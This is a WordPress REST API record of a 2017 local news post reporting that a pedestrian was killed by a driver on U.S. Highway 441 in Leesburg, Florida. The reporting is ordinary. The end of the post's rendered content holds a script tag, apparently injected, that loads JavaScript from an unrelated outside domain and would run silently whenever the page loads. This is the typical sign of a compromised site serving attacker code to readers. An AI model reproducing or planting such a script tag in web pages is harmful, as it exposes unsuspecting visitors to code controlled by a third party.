{"id":215916,"date":"2017-10-09T20:21:35","date_gmt":"2017-10-10T00:21:35","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=215916"},"modified":"2017-11-04T14:47:03","modified_gmt":"2017-11-04T18:47:03","slug":"pedestrian-killed-leesburg-struck-villages-resident","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/pedestrian-killed-leesburg-struck-villages-resident\/","title":{"rendered":"Pedestrian Killed in Leesburg After Being Struck by Villages Resident"},"content":{"rendered":"<p><strong>LEESBURG, Fla. &#8211;\u00a0<\/strong>A pedestrian was killed Sunday night after being struck by a vehicle driven by a Villages resident according to the Leesburg Police Department.<\/p>\n<p>According to a statement released by the department, 35-year-old Thomas Thole was traveling southbound on U.S. Highway 441 near North Lake Avenue in his 2017 Jeep Grand Cherokee when he struck a pedestrian\u00a0who was attempting to cross U.S. Highway 441.<\/p>\n<p>Officers arrived at the scene of the accident at approximately 8:30 p.m. according to the statement.<\/p>\n<p>The pedestrian, who was identified as 39-year-old Jeffery Hosea, was transported to the Leesburg Regional Medical Center where he later died due to injuries sustained from the collision.<\/p>\n<p>Officers are still investigating the incident and are asking anyone with any information to contact the Leesburg Police Department&#8217;s Traffic Unit at (352)787-2121.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG, Fla. &#8211;\u00a0A pedestrian was killed Sunday night after being struck by a vehicle driven by a Villages resident according to the Leesburg Police Department.&#8230;<\/p>\n","protected":false},"author":1,"featured_media":207928,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1,2660],"tags":[38,517,78,82,394,428,124,2970],"class_list":["post-215916","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","category-the-villages","tag-crash","tag-death","tag-killed","tag-leesburg","tag-lpd","tag-pedestrian","tag-the-villages","tag-vilager","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/06\/pedestrian-killed.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/215916","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=215916"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/215916\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/207928"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=215916"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=215916"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=215916"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}